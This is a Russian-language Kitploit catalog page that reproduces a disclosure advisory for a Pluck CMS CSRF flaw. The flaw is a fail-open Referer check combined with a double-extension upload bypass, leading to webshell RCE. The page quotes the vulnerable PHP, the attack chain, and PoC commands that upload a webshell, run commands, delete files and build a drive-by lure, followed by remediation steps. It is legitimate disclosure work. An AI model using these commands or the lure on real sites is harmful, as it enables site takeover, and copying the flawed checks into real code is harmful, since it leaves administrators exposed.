Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-70376 — Advisory и Python PoC для CSRF в Pluck CMS: проверка Referer в режиме fail-open в сочетании с загрузкой файлов с двойным расширением позволяет развернуть веб-шелл и выполнить удалённый код. | Kitploit
Инструменты/GitHubGitHub/ilhomjonr/cve-2026-70376
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubilhomjonr/cve-2026-70376

CVE-2026-70376

Advisory и Python PoC для CSRF в Pluck CMS: проверка Referer в режиме fail-open в сочетании с загрузкой файлов с двойным расширением позволяет развернуть веб-шелл и выполнить удалённый код.

Репозиторий
328 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-70376 — CSRF на всём сайте Pluck CMS → RCE

Проверка Referer с логикой fail-open + отсутствие CSRF-токенов + загрузка файлов с двойным расширением

Одного посещения страницы администратором достаточно, чтобы удалить контент, внедрить страницы и разместить веб-шелл

CVE CVSS 3.1 CWE CWE

Product Status Researcher

Краткий обзор · Резюме · Первопричина · Цепочка атаки · Эксплойт · Устранение · Хронология


📋 Краткий обзор

CVE IDCVE-2026-70376
Трекинговый IDPT-2026-68036
Продуктpluck-cms/pluck — Pluck CMS (PHP на плоских файлах)
Затронутые версии4.7.x вплоть до 4.7.21-dev / актуальный master
СлабостьCWE-352 (CSRF) · CWE-434 (неограниченная загрузка, усилитель)
CVSS v3.18.0 — High (высокий) · AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:H
ВекторСетевой · без привилегий · одно посещение страницы администратором (UI:R)
ВоздействиеУничтожение контента/DoS, внедрение сохраняемого контента, RCE на Apache/mod_php
Появилоськоммит f79f916 (дек. 2019) — уязвимая логика присутствует с этого момента
ИсследовательIlhomjon Rustamov (@IlhomjonR)

🔎 Резюме

В админ-панели Pluck нигде в кодовой базе нет CSRF-токенов для запросов. Каждое действие администратора, изменяющее состояние, проходит через единственную функцию requestedByTheSameDomain(), единственная защита которой — сравнение хоста из заголовка Referer, и эта проверка открыта нараспашку (fail open): когда запрос приходит вообще без заголовка Referer, функция возвращает true, и действие разрешается.

Поскольку страница атакующего полностью контролирует, будет ли отправлен Referer (<meta name="referrer" content="no-referrer">), любого вошедшего в систему администратора, посетившего вредоносную страницу, можно вынудить выполнять привилегированные действия межсайтово. Некоторые разрушительные действия выполняются через GET, а Pluck не задаёт атрибут SameSite для PHPSESSID (браузеры применяют SameSite=Lax, и он всё равно передаётся при GET-навигации верхнего уровня), поэтому при настройках браузера по умолчанию они достижимы межсайтово.

Вторичная слабость фильтра загрузки позволяет тому же CSRF разместить файл с двойным расширением shell.php.jpg, превращая CSRF в RCE «с налёта» (drive-by) на хостах Apache/mod_php.


🧬 Первопричина

1. Проверка Referer с логикой fail-open — data/inc/functions.admin.php

root@kitploit:~
function requestedByTheSameDomain() {
    if (isset($_SERVER['HTTP_HOST'])) { $myDomain = $_SERVER['HTTP_HOST']; }
    elseif (isset($_SERVER['SCRIPT_URI'])) { $myDomain = $_SERVER['SCRIPT_URI']; }
    else { $myDomain = NULL; }

    if (isset($_SERVER['HTTP_REFERER'])) { $requestsSource = $_SERVER['HTTP_REFERER']; }
    else { $requestsSource = NULL; }

    $referelDomain = parse_url($requestsSource, PHP_URL_HOST);

    if ($myDomain != NULL && $requestsSource != NULL &&
        (strcmp(trim($myDomain), trim($referelDomain)) === 0)) {
        return true;                 // Referer host == our host  -> allow
    } elseif ($myDomain == NULL || $requestsSource == NULL) {
        show_error("Be carefull with clicking links, ...", 1);
        return true;                 // Referer ABSENT -> FAIL OPEN -> allow  <==
    } else {
        return false;                // Referer host mismatch -> block
    }
}

Межсайтовый запрос с чужим Referer корректно отклоняется (ветка else), что создаёт ложное ощущение защищённости, — но атакующий просто подавляет заголовок Referer, попадает в ветку fail-open, и запрос разрешается. За этой проверкой нет никакого уровня токенов.

Проверка выполняется один раз в admin.php, и её результату доверяет весь переключатель действий:

root@kitploit:~
$isCSRF = requestedByTheSameDomain();
if (isset($_GET['action']) && $isCSRF) {
    switch ($_GET['action']) {
        case 'deletefile':  include_once('data/inc/deletefile.php');  break;
        case 'deleteimage': include_once('data/inc/deleteimage.php'); break;
        case 'deletepage':  include_once('data/inc/deletepage.php');  break;
        case 'module_delete': /* ... */
        case 'images':      include_once('data/inc/images.php');      break; // upload
        // ...
    }
}

2. Отсутствие SameSite у сессионной cookie (усилитель)

Pluck никогда не вызывает session_set_cookie_params(), поэтому PHPSESSID наследует пустое значение по умолчанию → браузеры применяют SameSite=Lax, который всё равно передаётся при GET-навигации верхнего уровня. Поэтому действия, доступные по GET (deletefile, deleteimage, deletepage, module_delete, theme_delete, logout), можно подделать одним посещением страницы.

3. Загрузка с двойным расширением — data/inc/images.php (усилитель RCE)

root@kitploit:~
if (in_array($_FILES['imagefile']['type'],                       // client-controlled MIME
    array('image/pjpeg','image/jpeg','image/png','image/gif'))) {
    $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
    if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist)) {
        show_error($lang['general']['upload_failed'], 1);         // only checks LAST 4 chars
    } else {
        copy($_FILES['imagefile']['tmp_name'], 'images/'.latinOnlyInput($_FILES['imagefile']['name']));
        // ...
    }
}

Обе проверки обходятся тривиально:

  • MIME-тип приходит от клиента ($_FILES[...]['type']) → достаточно указать image/jpeg;
  • проверяются только последние 4 символа имени файла → shell.php.jpg заканчивается на .jpg и проходит проверку.

Файл сохраняется в images/shell.php.jpg; на хосте Apache/mod_php с обработкой множественных расширений он выполняется как PHP.


⛓️ Цепочка атаки

Одно посещение страницы аутентифицированным администратором — без единого клика.

root@kitploit:~
flowchart LR
    A[Admin logged into Pluck] --> B[Opens attacker page]
    B --> C["meta referrer=no-referrer<br/>suppresses Referer"]
    C --> D[Top-level nav / auto-form to admin.php]
    D --> E["Lax PHPSESSID cookie rides along<br/>Referer absent"]
    E --> F["requestedByTheSameDomain() -> FAIL OPEN -> true"]
    F --> G1[deletefile / deletepage -> destruction / DoS]
    F --> G2[editpage -> stored-content injection]
    F --> G3["images upload -> shell.php.jpg -> RCE"]

Поддающиеся подделке действия:

ДействиеМетодВоздействие
admin.php?action=deletefile&var1=<f>GETУдаление произвольного загруженного файла
admin.php?action=deletepage&...GETУдаление страниц сайта (DoS)
admin.php?action=module_delete&...GETУдаление модулей
admin.php?action=logoutGETВыход администратора из системы
admin.php?action=editpagePOSTВнедрение сохраняемого содержимого страницы
admin.php?action=images (загрузка)POSTРазмещение shell.php.jpg → RCE

💥 Эксплойт

Рабочий набор PoC-инструментов лежит в exploit/:

  • pluck_csrf_rce.py — доказывает логику fail-open, загружает веб-шелл через CSRF и выполняет команды, удаляет файлы через CSRF или генерирует приманку (lure).
  • csrf_poc.html — автономная страница drive-by, доставляемая администратору-жертве.
root@kitploit:~
pip install requests

# Prove the fail-open Referer logic
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' probe

# CSRF-upload a webshell and get RCE
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' shell --run 'id'
#   -> http://127.0.0.1/pluck/images/shell.php.jpg?c=id

# Destructive primitive: delete a file cross-site
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck -p 'AdminPass1!' delete secret.txt

# Generate the drive-by lure for a victim admin's browser
python3 exploit/pluck_csrf_rce.py -u http://127.0.0.1/pluck lure --action shell -o lure.html

Python-запросы намеренно отправляются без Referer, в точности воспроизводя браузер жертвы при политике no-referrer. Асимметрия на уровне HTTP, подтверждающая эту логику:

root@kitploit:~
Referer: http://attacker.example   ->  action BLOCKED   (else branch)
(no Referer header)                 ->  action SUCCEEDED  *** CSRF bypassed ***

⚠️ Шаг .php.jpg → RCE требует хоста Apache/mod_php, который пропускает файлы с несколькими расширениями через PHP. Там, где это не настроено, CSRF-загрузка всё равно срабатывает, а разрушительные примитивы delete/deletepage остаются незатронутыми — основная ошибка это CSRF; RCE лишь усиливает её.


🛠️ Устранение

  1. Добавьте настоящий CSRF-токен — случайный nonce на сессию в каждой форме админ-панели и в каждой ссылке, изменяющей состояние, с проверкой на стороне сервера сравнением за постоянное время. Это и есть настоящее исправление; проверка Referer его не заменяет.
  2. Fail closed (закрыт при отказе) — если проверка источника остаётся как эшелонированная защита (defense-in-depth), считайте отсутствующие Referer/Origin недоверенными. Предпочитайте заголовок Origin и отклоняйте запрос, если он отсутствует или не совпадает.
  3. Никогда не изменяйте состояние через GET — переведите deletefile, deletepage, logout и т.д. на POST, чтобы SameSite=Lax обеспечивал базовую защиту.
  4. Ужесточите сессионную cookie — задайте SameSite=Strict (или Lax), HttpOnly и Secure через session_set_cookie_params().
  5. Исправьте фильтр загрузки — проверяйте итоговое имя сохраняемого файла по белому списку точных расширений, проверяйте реальное содержимое изображения и никогда не доверяйте MIME-типу, переданному клиентом.

🕒 Хронология

ДатаСобытие
2019-12Появилась уязвимая логика requestedByTheSameDomain() (f79f916)
2026-07-08Обнаружено при аудите исходного кода; сквозной PoC подтверждён
2026-08-10Подготовлен advisory (PT-2026-68036)
2026-08-12Присвоен CVE-2026-70376; опубликованы advisory и PoC

📚 Ссылки

  • CVE-2026-70376 — https://www.cve.org/CVERecord?id=CVE-2026-70376
  • CWE-352: Cross-Site Request Forgery (межсайтовая подделка запроса) — https://cwe.mitre.org/data/definitions/352.html
  • CWE-434: Unrestricted Upload of File with Dangerous Type (неограниченная загрузка файла опасного типа) — https://cwe.mitre.org/data/definitions/434.html
  • Pluck CMS — https://github.com/pluck-cms/pluck

⚖️ Отказ от ответственности

Этот материал публикуется в образовательных и защитных целях и только для авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Автор не несёт ответственности за неправомерное использование.

Обнаружено и задокументировано @IlhomjonR · CVE-2026-70376 · PT-2026-68036

Скачать инструмент